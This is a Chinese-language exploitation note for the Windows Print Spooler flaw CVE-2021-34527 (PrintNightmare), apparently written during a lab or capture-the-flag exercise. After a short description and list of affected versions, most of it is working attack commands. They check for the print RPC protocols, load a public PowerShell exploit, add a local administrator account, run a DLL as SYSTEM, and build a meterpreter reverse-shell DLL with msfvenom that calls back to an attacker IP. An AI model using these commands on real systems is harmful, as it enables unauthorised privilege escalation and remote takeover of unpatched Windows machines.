CVE-2021-34527

1. 漏洞描述

CVE-2021-34527 是一个 Windows 打印后台处理程序(Print Spooler)中的严重漏洞,也被称为 PrintNightmare。该漏洞允许攻击者通过加载恶意打印驱动程序实现 远程代码执行(RCE)本地权限提升(LPE)

  • 漏洞根源
    Windows Print Spooler 服务在处理驱动程序安装和管理时未正确验证权限,导致攻击者可以利用此漏洞加载恶意驱动程序。
  • 危险性
    通过此漏洞,攻击者可以直接执行任意代码,以 SYSTEM 权限完全控制目标系统。

2. 影响范围

几乎所有 Windows 系统均受到影响,包括客户端和服务器版本,特别是未安装补丁的系统。

  • 受影响的系统
    • Windows 7、Windows 8.1、Windows 10
    • Windows Server 2008、2012、2016、2019、2022
  • 未修复系统
    • 未禁用 Print Spooler 服务的系统。
    • 打印服务角色正在运行的服务器。

3. 利用方式

3.1. RCE利用

Impacket 工具套件中的 printerbug.py

3.2. LPE 利用

参考项目: https://github.com/JohnHammond/CVE-2021-34527
先检查一下打印机相关的协议是否运行 运行在进行下一步

┌──(kali㉿kali)-[~/thl/Pacharan]
└─$ impacket-rpcdump @192.168.69.69 | grep -E 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

3.2.1. 加载模组

上传漏洞利用脚本 cve-2021-34527.ps1 并加载利用模块 Invoke-Nightmare

Import-Module .\cve-2021-34527.ps1

3.2.2. 默认添加一个管理员用户

Invoke-Nightmare   添加一个 `adm1n`/`P@ssw0rd` 到本地管理员组

指定用户添加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"

3.2.3. 系统权限运行dll文件

Invoke-Nightmare -DLL "C:\bindshell.dll"

msf生成 dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.69.3 lport=4455 -f dll -o reverse.dll